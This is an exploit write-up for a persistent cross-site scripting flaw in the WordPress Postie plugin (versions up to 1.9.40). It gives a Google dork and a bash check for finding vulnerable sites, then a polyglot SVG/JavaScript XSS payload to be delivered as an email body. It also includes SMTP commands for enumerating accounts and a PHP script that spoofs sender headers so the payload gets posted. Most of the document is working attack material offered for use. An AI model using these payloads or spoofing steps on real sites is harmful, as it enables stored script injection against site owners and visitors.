WordPress Postie 1.9.40 Cross Site Scripting

`# Exploit Title: WordPress Plugin Postie 1.9.40 - Persistent Cross-Site Scripting  
# Google Dork: inurl:/wp-content/plugins/postie/readme.txt  
# Date: 2020-01-15  
# Exploit Author: V1n1v131r4  
# Vendor Homepage: https://postieplugin.com/  
# Software Link: https://wordpress.org/plugins/postie/#developers  
# Version: <=1.9.40  
# Tested on: Linux  
# CVE : CVE-2019-20203, CVE-2019-20204  
  
## Identifying WordPress Postie Plugin installation  
  
#!/bin/bash if curl -s -o /dev/null -w "%{http_code}" http://<domain.com>/wp-content/plugins/postie/readme.txt | grep 200 > /dev/null; then echo "" echo "Postie installed!" else echo "" echo "Postie seems not to be installed" fi   
  
## Performing persistent XSS using Polyglot JavaScript syntax with crafted SVG (CVE-2019-20204)  
  
# the syntax below should go as email body  
  
jaVasCript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(You've been hacked)//'>  
  
## Email to post on Postie  
  
- Identifying the mail server  
  
dig domain.com mx  
  
- enumerating accounts via SMTP  
  
telnet domain.com 587  
EHLO buddy  
mail from:<[email protected]>  
rcpt to:<[email protected]>  
vrfy [email protected]  
  
  
- listing accounts via third party software  
  
You can use these third party software and APIs to enumerate target email users:  
- https://www.zerobounce.net  
- https://tools.verifyemailaddress.io/  
- https://hunter.io/email-verifier  
  
  
  
## Spoofing with PHPMailer  
  
  
<?php  
  
/* CONFIGURE PHP IF NEEDED */  
// ini_set("sendmail_from","$fromFull");  
// ini_set("SMTP","mail.domain.com");  
// ini_set('smtp_port',587);  
// ini_set('username',"user");  
// ini_set('password',"pass");  
  
  
// COMPOSE  
$to = '[email protected]';  
$subject = 'Title of your post';  
$message = 'You've been hacked :-)';  
  
  
// BASIC HEADER  
$headers = 'From: [email protected]' . "\r\n" .  
'Reply-To: [email protected]' . "\r\n" .  
'X-Mailer: PHP/' . phpversion();  
  
  
// SEND AND SHOW MESSAGE  
if (mail($to, $subject, $message, $headers)) echo $headers.'<h1>Mail sent!</h1>';  
else echo '<h1>Something went wrong...</h1>';  
  
  
// FULL HEADER  
// $headers = "From: testsite < [email protected] >\n";  
// $headers .= "Cc: testsite < [email protected] >\n";   
// $headers .= "X-Sender: testsite < [email protected] >\n";  
// $headers .= 'X-Mailer: PHP/' . phpversion();  
// $headers .= "X-Priority: 1\n";  
// $headers .= "Return-Path: [email protected]\n";  
// $headers .= "MIME-Version: 1.0\r\n";  
// $headers .= "Content-Type: text/html; charset=iso-8859-1\n";  
  
?>  
`